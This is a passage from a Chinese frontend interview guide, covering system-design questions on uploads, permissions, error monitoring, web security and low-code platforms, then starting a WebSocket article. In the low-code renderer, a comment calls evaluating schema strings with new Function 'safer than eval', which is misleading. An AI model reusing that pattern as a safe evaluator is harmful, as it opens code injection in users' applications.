  formData.append('chunk', chunk);
  formData.append('hash', fileHash);
  formData.append('index', index);
  return fetch('/api/upload/chunk', { method: 'POST', body: formData });
}));

// 5. 通知合并
await fetch('/api/upload/merge', {
  method: 'POST',
  body: JSON.stringify({ hash, filename, total: chunks.length }),
});

关键追问与答案：

追问	回答
分片大小怎么选？	5-10MB 平衡：太小请求多、太大失败重传成本高
hash 计算慢怎么办？	Web Worker + 抽样 hash + 增量计算（SparkMD5）
如何显示进度？	(已传字节 / 总字节) + 每个分片内部 XMLHttpRequest.upload.onprogress
暂停/恢复？	维护 AbortController，暂停时 abort 所有请求
上传失败重试？	单分片失败自动重试 3 次（指数退避），全部失败入死信队列
服务端如何合并？	按 index 顺序 concat 分片文件 → 完整文件
并发数限制？	前端 asyncPool 限 3-6，避免打爆浏览器连接数（每域 6 个）
CDN 直传？	前端向业务服务器申请签名 → 直传 OSS/S3 → 回调业务服务器

架构演进：

MVP：直接 POST 表单（<10MB）
V1：分片上传 + 服务端合并（<1GB）
V2：+ 断点续传 + hash 秒传（<10GB）
V3：+ CDN 直传 + 客户端并发控制（无上限）
V4：+ Web Worker + 增量 hash + 上传队列持久化（IndexedDB）

权限系统

Q2: 设计一个中后台前端权限系统 ⭐⭐⭐ 🔥

权限的三个层次：

1. 路由权限：能不能访问某个页面
2. 按钮/操作权限：能不能看到/点击某个按钮
3. 数据权限：能看到哪些数据（部门/个人/全部）
4. 接口权限：后端接口鉴权（前端只做体验，安全靠后端）

方案 A：路由表配置式（角色固定）

// 路由 meta 声明所需角色
const routes = [
  { path: '/user', component: UserList, meta: { roles: ['admin', 'manager'] } },
  { path: '/audit', component: Audit, meta: { roles: ['admin'] } },
];

// 全局前置守卫
router.beforeEach((to, from, next) => {
  const userRoles = store.getters.roles;
  if (to.meta.roles && !to.meta.roles.some(r => userRoles.includes(r))) {
    next('/403');
  } else {
    next();
  }
});

方案 B：动态路由（后端下发，主流）

// 1. 登录后拉取用户信息和权限
const { roles, permissions, menus } = await api.getUserInfo();

// 2. 根据后端菜单树过滤路由表
const asyncRoutes = [/* 所有可能的路由 */];
const accessibleRoutes = filterRoutes(asyncRoutes, menus);

function filterRoutes(routes, menus) {
  return routes.filter(route => {
    if (route.meta?.permission) {
      return menus.some(m => m.code === route.meta.permission);
    }
    if (route.children) {
      route.children = filterRoutes(route.children, menus);
    }
    return true;
  });
}

// 3. 动态注册
accessibleRoutes.forEach(r => router.addRoute(r));

// 4. 侧边栏菜单用同一份 menus 数据渲染（保持一致）

按钮级权限（指令封装）：

// v-permission 指令
app.directive('permission', {
  mounted(el, binding) {
    const required = binding.value;
    const userPerms = store.getters.permissions;
    const hasPermission = Array.isArray(required)
      ? required.some(p => userPerms.includes(p))
      : userPerms.includes(required);
    if (!hasPermission) el.remove();
  },
});

// 使用
<el-button v-permission="'user:delete'">删除</el-button>
<el-button v-permission="['user:edit', 'admin']">编辑</el-button>

// 函数式（更灵活，可控制 loading/disabled 而不是删除）
<button :disabled="!hasPermission('user:delete')">删除</button>

数据权限（后端为主，前端配合）：

// 前端只传"数据范围"参数（如：全部/本部门/本人）
// 后端根据用户角色和数据权限规则过滤 SQL
// 参考 RuoYi 的 @DataScope 注解：
// SELECT * FROM users ${dataScope}
// dataScope 由 AOP 根据角色注入：AND dept_id IN (...)

追问与陷阱：

追问	回答
前端权限能防住吗？	不能！前端只做体验（不显示无权内容），安全必须后端二次校验
权限变更后如何同步？	关键操作前实时校验 + WebSocket 推送权限变更事件强制刷新
权限粒度多细？	一般到"按钮/接口"级，字段级权限成本高、少用
大量权限点如何管理？	后端菜单表 + 权限标识（perm_code），前端只做展示，不硬编码
路由跳转闪烁？	动态 addRoute 后要 next({ ...to, replace: true }) 重新触发

前端监控

Q3: 从零设计一个前端错误监控系统 ⭐⭐⭐ 🔥

整体架构：

浏览器 SDK → 上报网关 → Kafka → 消费服务 → 存储（ClickHouse/ES）→ 告警 + 看板

SDK 采集内容：
1. JS 错误：window.onerror / unhandledrejection
2. 资源加载错误：img/script/css 加载失败
3. 接口错误：拦截 fetch/XHR，记录 4xx/5xx/超时
4. 框架错误：Vue.config.errorHandler / React ErrorBoundary
5. 用户行为轨迹：点击、路由跳转、输入（脱敏）
6. 性能指标：LCP/FID/CLS + 长任务
7. 自定义错误：业务主动上报

class Monitor {
  constructor(config) {
    this.config = { appId, userId, sampleRate: 1, ...config };
    this.buffer = [];
    this.init();
  }

  init() {
    this.hookError();
    this.hookPromise();
    this.hookResource();
    this.hookXHR();
    this.hookFetch();
    this.hookBehavior();
    this.startReport();
  }

  hookError() {
    window.addEventListener('error', (e) => {
      // 区分 JS 错误和资源错误
      if (e.target !== window) return this.reportResource(e);
      this.report({
        type: 'js_error',
        message: e.message,
        filename: e.filename,
        lineno: e.lineno,
        colno: e.colno,
        stack: e.error?.stack,
      });
    }, true);   // 捕获阶段才能拿到资源错误
  }

  hookPromise() {
    window.addEventListener('unhandledrejection', (e) => {
      this.report({ type: 'promise_error', reason: String(e.reason) });
    });
  }

  hookXHR() {
    const originalOpen = XMLHttpRequest.prototype.open;
    const originalSend = XMLHttpRequest.prototype.send;
    const self = this;

    XMLHttpRequest.prototype.open = function (method, url) {
      this._meta = { method, url, startTime: Date.now() };
      originalOpen.apply(this, arguments);
    };
    XMLHttpRequest.prototype.send = function () {
      this.addEventListener('loadend', () => {
        const { method, url, startTime } = this._meta;
        self.report({
          type: 'api',
          method, url,
          status: this.status,
          duration: Date.now() - startTime,
          success: this.status >= 200 && this.status < 300,
        });
      });
      originalSend.apply(this, arguments);
    };
  }

  hookBehavior() {
    // 用户行为轨迹（面包屑），保留最近 20 条
    this.breadcrumbs = [];
    document.addEventListener('click', e => {
      this.pushBreadcrumb({
        type: 'click',
        target: getXPath(e.target),
        text: e.target.innerText?.slice(0, 50),
      });
    }, true);
    // 路由变化
    const originalPush = history.pushState;
    history.pushState = (...args) => {
      this.pushBreadcrumb({ type: 'route', to: args[2] });
      originalPush.apply(history, args);
    };
  }

  report(data) {
    if (Math.random() > this.config.sampleRate) return;    // 采样
    this.buffer.push({
      ...data,
      ...this.config,
      timestamp: Date.now(),
      url: location.href,
      ua: navigator.userAgent,
      breadcrumbs: this.breadcrumbs.slice(-20),
    });
  }

  startReport() {
    // 批量 + 节流上报
    setInterval(() => this.flush(), 5000);
    // 页面卸载时用 sendBeacon
    window.addEventListener('beforeunload', () => {
      if (this.buffer.length) {
        navigator.sendBeacon('/api/monitor', JSON.stringify(this.buffer));
      }
    });
    // 空闲时上报
    if ('requestIdleCallback' in window) {
      requestIdleCallback(() => this.flush());
    }
  }

  flush() {
    if (!this.buffer.length) return;
    const batch = this.buffer.splice(0, 50);
    navigator.sendBeacon('/api/monitor', JSON.stringify(batch));
  }
}

new Monitor({ appId: 'my-app', sampleRate: 0.1 });   // 10% 采样

关键设计点：

点	方案
SourceMap 还原	生产环境不上传 SourceMap 到 CDN，只上传到监控平台，服务端用 source-map 库还原堆栈
错误去重/聚合	按 hash(type+message+filename+lineno) 聚合，一个错误只显示一次
采样率	大流量站点 10%，小站点 100%，错误可 100%
用户脱敏	密码/身份证/手机号在 SDK 端脱敏后再上报
告警规则	5 分钟内错误率 > 0.5% / 新增错误类型 / P0 页面白屏率 > 1%
现成方案	Sentry（开源+云服务）、阿里 ARMS、腾讯 RUM、字节 volcengine

富文本编辑器

Q4: 如何设计一个富文本编辑器？⭐⭐⭐

三种技术路线：

1. contenteditable（老方案）
   - 浏览器原生 API，兼容性最好
   - 但各浏览器行为不一致，坑极多
   - 代表：早期的 UEditor、KindEditor

2. 自绘 + 隐藏输入框（现代方案）
   - 完全自己绘制内容（Canvas 或 DOM）
   - 用一个隐藏 input/textarea 接收键盘事件
   - 好处：完全控制渲染，跨浏览器一致
   - 代表：Google Docs、飞书文档、Figma

3. 基于成熟框架（推荐）
   - Slate.js（React，可扩展性极强）
   - ProseMirror（框架无关，插件化）
   - Tiptap（基于 ProseMirror，Vue 友好）
   - Quill（老牌，API 简单）
   - Lexical（Meta 出品，2022 年）

核心数据模型（ProseMirror/Slate 风格）：

// 文档 = 树形结构，每个节点有类型、属性、子节点
{
  type: 'doc',
  content: [
    {
      type: 'paragraph',
      content: [
        { type: 'text', text: 'Hello ' },
        { type: 'text', text: 'world', marks: [{ type: 'bold' }] },
      ],
    },
    {
      type: 'heading',
      attrs: { level: 2 },
      content: [{ type: 'text', text: 'Title' }],
    },
    {
      type: 'image',
      attrs: { src: 'xxx.jpg', alt: 'desc' },
    },
  ],
}

// 编辑器三大核心：
// 1. Schema：定义允许的节点和标记（约束文档结构）
// 2. Transaction：所有修改都是不可变的 op，可撤销重做
// 3. Plugin：装饰、快捷键、协同编辑都是插件

关键难点与方案：

难点	方案
光标管理	Selection API + 自绘光标（跨浏览器一致）
撤销/重做	事务日志（Transaction History），不用快照
粘贴处理	拦截 paste 事件，解析 HTML/Markdown 转内部结构
图片上传	拦截 drop/paste，本地 blob 占位 → 上传后替换 URL
@提及	触发字符检测 + 弹出面板 + 插入 mention 节点
协同编辑	Yjs + ProseMirror/Slate 绑定（见 16 篇 Q11）
大文档性能	虚拟滚动（只渲染可视区域段落）
Markdown 兼容	序列化插件（内部结构 ↔ Markdown）
XSS 防护	严格 sanitize（DOMPurify），不允许任意 HTML

前端安全

Q5: 前端如何做安全防护？⭐⭐ 🔥

1. XSS（跨站脚本）防护
   - 类型：存储型（评论注入）、反射型（URL 参数）、DOM 型（innerHTML）
   - 防御：
     * 输出转义：Vue {{ }}、React JSX 自动转义
     * 避免 v-html / dangerouslySetInnerHTML
     * 必须使用时用 DOMPurify 消毒
     * CSP 内容安全策略（限制脚本来源）
     * HttpOnly Cookie（JS 读不到，防窃取）

   import DOMPurify from 'dompurify';
   element.innerHTML = DOMPurify.sanitize(userInput);

   // CSP 响应头
   Content-Security-Policy: default-src 'self';
                            script-src 'self' https://cdn.example.com;
                            object-src 'none';

2. CSRF（跨站请求伪造）防护
   - 类型：GET 型（img src）、POST 型（自动提交表单）
   - 防御：
     * SameSite Cookie：Strict / Lax（默认，禁止跨站携带）
     * CSRF Token：表单加隐藏字段，后端校验
     * 双重 Cookie：请求头带 X-CSRF-Token = Cookie 中的 token
     * 验证 Origin/Referer 头

3. 点击劫持
   - 防御：X-Frame-Options: DENY / SAMEORIGIN
   - 或 CSP frame-ancestors

4. MIME 嗅探
   - 防御：X-Content-Type-Options: nosniff

5. HTTPS 强制
   - HSTS：Strict-Transport-Security: max-age=31536000

6. 敏感数据处理
   - 前端不存明文密码（用一次性 token）
   - localStorage 慎用（XSS 可读），敏感用 HttpOnly Cookie
   - 打印日志脱敏（手机号、身份证）

7. 第三方脚本管控
   - SRI（Subresource Integrity）：hash 校验 CDN 脚本
   <script src="https://cdn/x.js"
           integrity="sha384-xxx" crossorigin="anonymous"></script>

8. 供应链安全
   - 依赖审计：npm audit / snyk
   - lock 文件提交（package-lock.json）
   - CI 检查依赖漏洞

长列表与大数据渲染

Q6: 10 万行 Excel 数据如何在前端渲染并支持编辑？⭐⭐⭐

核心思路：虚拟滚动 + 分片计算 + 增量渲染

架构：
┌──────────────────────────────────────┐
│  数据层（Web Worker + IndexedDB）    │
│  - 原始数据 10 万行放 Worker 内存     │
│  - 大文件用 IndexedDB 分片存储        │
│  - 计算（排序/过滤/公式）在 Worker    │
├──────────────────────────────────────┤
│  渲染层（Canvas 或 DOM 虚拟列表）     │
│  - Canvas：>5000 单元格推荐           │
│  - DOM：编辑交互友好，<1000 行足够    │
├──────────────────────────────────────┤
│  交互层（键盘/鼠标/剪贴板）           │
│  - 隐藏 textarea 接收键盘输入         │
│  - 复制粘贴解析 TSV/HTML              │
└──────────────────────────────────────┘

关键实现：

1. Canvas 渲染（性能最优）
   - 只绘制可视区（20x50 单元格 = 1000 个）
   - requestAnimationFrame 节流重绘
   - 分层 Canvas：背景层 + 数据层 + 选中层高亮

2. 数据分片加载
   - 首次只加载前 1000 行，滚动时按需加载
   - Worker 中预处理（排序、过滤）

3. 编辑交互
   - 单元格激活时创建浮动 input 定位到该格
   - 编辑完成写回 Worker 数据源，重绘该行

4. 现成方案
   - AG Grid（企业级，功能全，收费）
   - Handsontable（Excel-like，商用收费）
   - Luckysheet / Univer（国产开源）
   - RevoGrid（Web Component，轻量）

前端灰度与热更新

Q7: 前端如何做灰度发布？⭐⭐⭐

方案对比：

方案 A：CDN 多版本共存
dist/
├── v1.0.0/         # 老版本
├── v1.1.0/         # 新版本
└── index.html      # 入口，根据用户 ID 决定加载哪个版本

灰度逻辑（Node 网关 or Nginx Lua）：
if (hash(userId) % 100 < grayPercent) {
  serve('v1.1.0/index.html');
} else {
  serve('v1.0.0/index.html');
}

方案 B：客户端灰度配置
1. 前端启动时先拉 /api/gray-config（这个接口本身不能灰度）
2. 根据配置动态加载不同 JS bundle
3. 好处：粒度可到功能级（feature flag）

方案 C：Feature Flag（推荐）
if (featureFlag('new_checkout_flow')) {
  render(<NewCheckout />);
} else {
  render(<OldCheckout />);
}
- 无需发版即可切换
- 支持按用户/百分比/地域开关
- 工具：LaunchDarkly / Unleash / 自研

灰度维度：
- 内部用户（员工邮箱）→ 内测用户 → 1% → 10% → 50% → 100%
- 每阶段观察 24h，关键指标（错误率、转化率）达标才推进

监控与回滚：
- 关键指标：JS 错误率、白屏率、页面加载时长、业务转化
- 阈值：错误率上涨 > 20% 自动告警
- 回滚：配置中心一键切回旧版本，无需重新发版

移动端专题

Q8: H5 与原生 App 如何交互（JSBridge）？⭐⭐⭐

JSBridge 三种通信方式：

1. URL Scheme 拦截（老方案，兼容性好）
   - H5 触发 iframe.src = 'jsbridge://methodName?params=xxx'
   - Native 拦截 URL，解析方法名和参数
   - 缺点：URL 长度限制、连续调用可能丢

2. 注入 API（现代方案）
   - Android：addJavascriptInterface(window.native, ...)
   - iOS：WKScriptMessageHandler
   - H5 直接调 window.native.methodName(params)
   - 缺点：Android 4.2 前有安全漏洞

3. prompt/console 拦截（备用）
   - Native 拦截 window.prompt / console.log
   - 兼容性最好，但性能差

统一封装：

class JSBridge {
  static callbacks = new Map();
  static callbackId = 0;

  static call(nativeMethod, params = {}) {
    return new Promise((resolve, reject) => {
      const cbId = `cb_${++this.callbackId}_${Date.now()}`;
      this.callbacks.set(cbId, { resolve, reject });

      const payload = JSON.stringify({
        method: nativeMethod,
        params,
        callbackId: cbId,
      });

      // 分平台调用
      if (window.webkit?.messageHandlers?.native) {
        window.webkit.messageHandlers.native.postMessage(payload);  // iOS
      } else if (window.native) {
        window.native.postMessage(payload);                          // Android
      } else {
        // 降级：URL Scheme
        const iframe = document.createElement('iframe');
        iframe.src = `jsbridge://${nativeMethod}?data=${encodeURIComponent(payload)}`;
        document.body.appendChild(iframe);
        setTimeout(() => iframe.remove(), 100);
      }

      // 超时
      setTimeout(() => {
        if (this.callbacks.has(cbId)) {
          this.callbacks.delete(cbId);
          reject(new Error('JSBridge timeout'));
        }
      }, 5000);
    });
  }

  // Native 调用此方法回传结果
  static handleCallback(callbackId, result) {
    const cb = this.callbacks.get(callbackId);
    if (cb) {
      cb.resolve(result);
      this.callbacks.delete(callbackId);
    }
  }
}
window.JSBridge = JSBridge;

// 使用
const userInfo = await JSBridge.call('getUserInfo');
await JSBridge.call('share', { title: 'xxx', url: 'yyy' });

常见场景：

获取用户信息 / Token
调用原生分享 / 支付 / 扫码
关闭当前 WebView
打开新页面（原生路由）
设置标题栏 / 状态栏
获取地理位置 / 设备信息

国际化

Q9: 前端 i18n 方案怎么设计？⭐⭐

方案对比：

| 方案 | 优点 | 缺点 |
|:--|:--|:--|
| JSON 语言包（vue-i18n / react-intl） | 简单、生态好 | 语言包体积大 |
| ICU MessageFormat | 复数、性别、日期灵活 | 学习成本高 |
| 服务端下发 | 支持热更新 | 首屏依赖接口 |

vue-i18n 使用：

// locales/zh-CN.js
export default {
  common: { confirm: '确认', cancel: '取消' },
  user: { greeting: '你好，{name}', items: '{count} 条消息' },
};

// 使用
t('common.confirm')             // 确认
t('user.greeting', { name: 'Tom' })  // 你好，Tom
t('user.items', { count: 5 })   // 5 条消息（支持复数）

// 语言切换
i18n.global.locale.value = 'en-US';
localStorage.setItem('locale', 'en-US');

关键难点：

难点	方案
语言包体积	按路由懒加载 / 按需拆分 / 服务端下发
日期时间格式	Intl.DateTimeFormat / dayjs + locale 插件
数字货币	Intl.NumberFormat（自动处理千分位、货币符号）
RTL 语言（阿拉伯语）	CSS logical properties（margin-inline-start）+ dir="rtl"
图片/图标本地化	图片命名带语言后缀 or CSS background 切换
后端返回的文本	后端接受 Accept-Language 头返回对应语言
SEO 多语言	hreflang 标签 + 独立 URL（/en/、/zh/）
首屏语言闪烁	HTML 直出时读取 Cookie/Accept-Language 决定

主题换肤

Q10: 前端主题换肤方案？⭐⭐

方案 1：CSS 变量（推荐，运行时切换）
:root {
  --primary: #409eff;
  --bg: #fff;
  --text: #333;
}
[data-theme="dark"] {
  --primary: #66b1ff;
  --bg: #1a1a1a;
  --text: #eee;
}
.btn { background: var(--primary); }

// 切换：document.documentElement.dataset.theme = 'dark';
// 优势：无需重载 CSS，秒切
// 劣势：老浏览器不支持（IE），需要预置所有主题变量

方案 2：多份 CSS 文件（构建时生成）
- theme-light.css / theme-dark.css
- 切换时动态替换 <link href>
- 优势：兼容性好，CSS 静态优化
- 劣势：切换有闪烁，构建产物翻倍

方案 3：Sass/Less 变量（构建时）
- 用户下载不同主题包
- 只能构建时决定，无法运行时切换
- 适合组件库提供给用户定制

方案 4：CSS-in-JS（运行时）
- styled-components ThemeProvider
- 灵活但性能差

方案 5：Filter 反色（应急）
filter: invert(1) hue-rotate(180deg);
- 一行 CSS 实现暗色，图片再反色回来
- 只适合临时方案，颜色不准

推荐组合：
- 组件库：Sass 变量（构建时）+ CSS 变量（运行时）
- 业务应用：CSS 变量 + 预置主题配置
- 用户自定义：暴露关键 Token（--primary、--radius）

低代码平台

Q11: 低代码平台前端如何设计？⭐⭐⭐

低代码平台四大核心模块：

1. 物料（组件库）
   - 基础组件：Button / Input / Table
   - 业务组件：UserCard / OrderList
   - 每个组件有 Schema 描述（props、slots、events）

2. 编排器（画布）
   - 拖拽组件到画布
   - 属性面板编辑 props
   - 事件绑定（点击 → 打开弹窗 / 调接口）
   - 大纲树（层级视图）

3. 数据源
   - 静态数据（JSON）
   - 接口数据（配置 URL、参数、响应映射）
   - 页面变量（响应式状态）

4. 出码 / 渲染
   - Schema → 运行时渲染（在线预览）
   - Schema → 源码出码（导出 Vue/React 项目）

核心 Schema 协议：

{
  "componentName": "Page",
  "props": { "title": "用户列表" },
  "children": [
    {
      "componentName": "Table",
      "props": {
        "columns": [...],
        "dataSource": {
          "type": "JSExpression",
          "value": "this.state.users"
        }
      },
      "events": {
        "onRowClick": {
          "type": "JSFunction",
          "value": "function(row) { this.openDetail(row.id); }"
        }
      }
    }
  ],
  "dataSource": {
    "list": [{
      "id": "users",
      "type": "fetch",
      "options": { "uri": "/api/users", "method": "GET" }
    }]
  },
  "lifeCycles": {
    "componentDidMount": { "type": "JSFunction", "value": "..." }
  }
}

渲染器实现：

function Renderer(schema) {
  const Component = componentMap[schema.componentName];   // 物料注册表
  const props = resolveProps(schema.props, context);       // 解析 JSExpression
  const children = schema.children?.map(Renderer);
  return <Component {...props}>{children}</Component>;
}

// 表达式解析（安全考虑不用 eval，用 new Function 或 vm）
function resolveProps(props, context) {
  return Object.fromEntries(
    Object.entries(props).map(([k, v]) => [
      k,
      v?.type === 'JSExpression'
        ? new Function('ctx', `with(ctx) return ${v.value}`)(context)
        : v,
    ])
  );
}

开源方案：

阿里 LowCodeEngine（生态最全）
腾讯 TMagic
百度 Amis（JSON 配置驱动）
Formily（表单场景）

核心难点：

Schema 版本兼容（升级不能破坏老页面）
表达式沙箱（防 XSS）
出码质量（可读性、可维护性）
性能（大页面渲染优化）
二次开发（pro-code 混编）

复习卡片

[!TIP] 场景题回答模板（万能公式）

反问澄清：用户量、场景、约束（体现工程思维）

给整体架构：分层图 or 数据流（3-5 句话说清）

拆解关键模块：每个模块的核心 API / 数据结构

点出难点：性能 / 一致性 / 兼容性 / 安全

给权衡方案：MVP → 完整版的演进路径

量化收益：体积降 X%、响应快 Xms、支持 X 并发

快速复习清单

大文件上传：分片 + hash 秒传 + 断点续传 + Worker 计算

权限系统：路由级 + 按钮级 + 数据级，前端做体验、后端保安全

错误监控：SDK 采集 + sendBeacon 上报 + SourceMap 还原 + 采样

富文本：ProseMirror/Slate/Lexical，Schema + Transaction + Plugin

前端安全：XSS（转义+CSP）、CSRF（SameSite+Token）、SRI、HSTS

长列表：Canvas 渲染 + Web Worker 数据 + IndexedDB 存储

灰度发布：CDN 多版本 / Feature Flag / 按用户百分比

JSBridge：URL Scheme + Native 注入 API + 回调管理

i18n：vue-i18n + Intl API + RTL + hreflang SEO

换肤：CSS 变量为主，运行时切换，Sass 变量兼容构建时定制

低代码：物料 + 编排器 + Schema 协议 + 渲染器/出码

[!TIP] 下一篇：软素质与 HR 面涵盖自我介绍、项目难点挖掘、STAR 表述、离职原因、职业规划、反问环节、薪资谈判等非技术面试环节。

返回面试宝典总览 | 面试宝典合集页

实时通信面试题（WebSocket/SSE/WebRTC）

Wed, 16 Sep 2026 12:00:00 GMT

[!NOTE] 本文包含 18+ 道实时通信面试题，覆盖聊天、通知、协同编辑、直播、多人游戏等场景，是差异化竞争的加分模块。难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级 · 🔥 高频必考

通信方式对比

Q1: 短轮询、长轮询、SSE、WebSocket 怎么选？⭐⭐ 🔥

答：

方式	方向	连接	实时性	服务端压力	适用场景
短轮询	单向	频繁建立	差（延迟=间隔）	大	简单场景，实时性要求低
长轮询	单向	保持到超时	中	中	兼容性要求高、更新少
SSE	服务器 → 客户端	长连接（HTTP）	好	中	通知、股票行情、日志流
WebSocket	双向	长连接（TCP）	极好	小（连接后）	聊天、协同、游戏
WebRTC	双向 P2P	UDP/TCP	极好	极小	音视频、屏幕共享

// 短轮询（最不推荐，但最简单）
setInterval(async () => {
  const data = await fetch('/api/messages').then(r => r.json());
  render(data);
}, 5000);

// 长轮询
async function longPoll() {
  try {
    const data = await fetch('/api/messages?wait=30').then(r => r.json());
    // 服务端 hold 住连接，有数据或超时才返回
    render(data);
  } finally {
    longPoll();   // 立即再发起
  }
}
longPoll();

选型建议：

只需要服务器推送（AI 流式响应、通知、股票） → SSE
需要双向实时（聊天、协同、游戏） → WebSocket
音视频 / P2P 大流量 → WebRTC
兼容极老浏览器 → 长轮询兜底

WebSocket

Q2: WebSocket 协议与握手过程？⭐⭐ 🔥

WebSocket 是应用层协议，基于 TCP，通过 HTTP Upgrade 建立连接：

1. 客户端发起 HTTP 请求（Upgrade 头）
GET /chat HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==      ← 客户端随机生成
Sec-WebSocket-Version: 13

2. 服务端响应 101 Switching Protocols
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
  ↑ = Base64(SHA1(Sec-WebSocket-Key + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"))

3. TCP 连接保持，转为 WebSocket 帧协议双向通信

关键点：
- 握手用 HTTP，之后不是 HTTP（帧协议）
- 端口默认 80（ws://）或 443（wss://，加密）
- Sec-WebSocket-Key/Accept 用于防止普通 HTTP 请求误升级
- 建立后全双工，客户端和服务端都可以主动发消息

Q3: WebSocket API 与常见用法？⭐ 🔥

const ws = new WebSocket('wss://example.com/chat');

// 4 个核心事件
ws.onopen = () => {
  console.log('连接建立');
  ws.send(JSON.stringify({ type: 'login', token }));
};
ws.onmessage = (e) => {
  const msg = JSON.parse(e.data);
  handleMessage(msg);
};
ws.onerror = (e) => console.error('错误', e);
ws.onclose = (e) => {
  console.log('关闭', e.code, e.reason);
  // 常见 close code：
  // 1000 正常关闭 / 1001 端点离开 / 1006 异常断开（无 close 帧）
  // 1011 服务端错误 / 1015 TLS 握手失败
};

// readyState 四个状态
WebSocket.CONNECTING  // 0
WebSocket.OPEN        // 1
WebSocket.CLOSING     // 2
WebSocket.CLOSED      // 3

// 发送多种数据
ws.send('hello');                    // 文本
ws.send(JSON.stringify({ a: 1 }));   // JSON 序列化
ws.send(arrayBuffer);                // 二进制
ws.send(blob);                       // Blob

// 主动关闭
ws.close(1000, 'user logout');

Q4: 心跳机制与断线重连怎么实现？⭐⭐⭐ 🔥

// 为什么需要心跳？
// 1. NAT/防火墙会关闭长时间空闲连接（通常 60s-5min）
// 2. 网络切换（WiFi → 4G）后 TCP 连接失效但客户端不知道
// 3. 服务端异常断开，浏览器不一定触发 onclose

class ReconnectingWebSocket {
  constructor(url, options = {}) {
    this.url = url;
    this.heartbeatInterval = options.heartbeatInterval || 30000;
    this.reconnectInterval = options.reconnectInterval || 3000;
    this.maxReconnectTimes = options.maxReconnectTimes || 10;
    this.reconnectTimes = 0;
    this.handlers = new Map();       // 事件监听
    this.manualClose = false;        // 是否主动关闭
    this.connect();
  }

  connect() {
    this.ws = new WebSocket(this.url);
    this.ws.onopen = () => {
      this.reconnectTimes = 0;       // 重置重连计数
      this.startHeartbeat();
      this.emit('open');
    };
    this.ws.onmessage = e => this.emit('message', e);
    this.ws.onclose = e => {
      this.stopHeartbeat();
      this.emit('close', e);
      if (!this.manualClose) this.reconnect();
    };
    this.ws.onerror = e => this.emit('error', e);
  }

  startHeartbeat() {
    this.heartbeatTimer = setInterval(() => {
      if (this.ws.readyState === WebSocket.OPEN) {
        this.ws.send(JSON.stringify({ type: 'ping', ts: Date.now() }));
      }
    }, this.heartbeatInterval);

    // 超时未收到 pong，认为连接死了，主动关闭触发重连
    this.pongTimeout = setTimeout(() => {
      this.ws.close();
    }, this.heartbeatInterval * 1.5);

    this.ws.addEventListener('message', e => {
      if (JSON.parse(e.data).type === 'pong') {
        clearTimeout(this.pongTimeout);
      }
    });
  }

  stopHeartbeat() {
    clearInterval(this.heartbeatTimer);
    clearTimeout(this.pongTimeout);
  }

  reconnect() {
    if (this.reconnectTimes >= this.maxReconnectTimes) {
      this.emit('reconnect-failed');
      return;
    }
    // 指数退避：3s → 6s → 12s → 24s（最大 30s）
    const delay = Math.min(
      this.reconnectInterval * Math.pow(2, this.reconnectTimes),
      30000
    );
    setTimeout(() => {
      this.reconnectTimes++;
      this.connect();
    }, delay);
  }

  send(data) {
    if (this.ws.readyState === WebSocket.OPEN) {
      this.ws.send(data);
    } else {
      // 离线消息队列（可选）
      this.pendingQueue = this.pendingQueue || [];
      this.pendingQueue.push(data);
    }
  }

  close() {
    this.manualClose = true;
    this.stopHeartbeat();
    this.ws.close(1000, 'client close');
  }

  on(event, fn) {
    if (!this.handlers.has(event)) this.handlers.set(event, new Set());
    this.handlers.get(event).add(fn);
  }
  emit(event, ...args) {
    this.handlers.get(event)?.forEach(fn => fn(...args));
  }
}

// 使用
const ws = new ReconnectingWebSocket('wss://example.com/chat');
ws.on('message', e => console.log(e.data));

// 补充优化：
// - 监听 online/offline 事件，网络恢复立即重连
// - 页面隐藏时（visibilitychange）降低心跳频率
// - 登录 token 过期时不重连，跳登录页
window.addEventListener('online', () => ws.reconnect());

Q5: WebSocket 消息格式怎么设计？⭐⭐

// 统一消息协议（前后端约定）
{
  "type": "chat.message",       // 事件类型（点分命名）
  "id": "msg-uuid-xxx",          // 消息 ID（幂等/去重/ACK）
  "seq": 12345,                  // 序列号（消息顺序）
  "timestamp": 1726000000000,
  "data": { /* 业务数据 */ },
  "code": 0,                     // 状态码（响应消息用）
  "message": "ok"                // 错误信息
}

// 消息分类：
// - 请求消息：客户端主动发起（chat.send）
// - 响应消息：服务端回复请求（chat.send.ack）
// - 通知消息：服务端主动推送（chat.new_message）
// - 系统消息：心跳、错误、断线（ping/pong/error）

// 消息可靠性保证：
// 1. ACK 机制：客户端发消息后等待服务端 ACK，超时重发
// 2. 消息去重：服务端根据 msg_id 去重（Redis Set）
// 3. 顺序保证：seq 序列号 + 客户端排序
// 4. 断线补发：重连后带 last_seq，服务端补发缺失消息
// 5. 离线消息：用户上线后拉取离线队列

// 二进制 vs JSON：
// - JSON：可读性好，调试方便，体积稍大（大多数场景够用）
// - Protobuf：二进制协议，体积小 3-5 倍，需前后端约定 .proto
// - MessagePack：JSON 兼容的二进制格式
// - 高频/大数据场景（游戏、协同）推荐 Protobuf

Q6: Nginx 反向代理 WebSocket 怎么配置？⭐⭐

# WebSocket 需要 Nginx 传递 Upgrade 头
location /ws/ {
    proxy_pass http://backend_ws;
    proxy_http_version 1.1;                    # 必须 1.1
    proxy_set_header Upgrade $http_upgrade;    # 关键
    proxy_set_header Connection "upgrade";     # 关键
    proxy_set_header Host $host;
    proxy_set_header X-Real-IP $remote_addr;

    # 超时（默认 60s 会断开长连接）
    proxy_read_timeout 3600s;
    proxy_send_timeout 3600s;

    # 关闭缓冲，实时转发
    proxy_buffering off;
}

# 负载均衡时的会话保持
# WebSocket 是长连接，同一用户的多次连接最好路由到同一台机器
upstream backend_ws {
    ip_hash;                                    # IP hash 保持
    server 192.168.1.1:8080;
    server 192.168.1.2:8080;
}

# 或者使用 sticky session（Nginx Plus / OpenResty）

Q7: Socket.IO 相比原生 WebSocket 有什么优势？⭐⭐

Socket.IO 不是 WebSocket 协议，是基于 WebSocket 的封装库，
提供降级方案（长轮询、HTTP Streaming）。

优势：
1. 自动重连（内置）
2. 消息 ACK 回调
3. 房间（room）和命名空间（namespace）
4. 广播（broadcast to others）
5. 二进制数据自动分片
6. 断线消息缓冲
7. 多路传输降级：WebSocket → HTTP Long Polling → HTTP Streaming

代码对比：

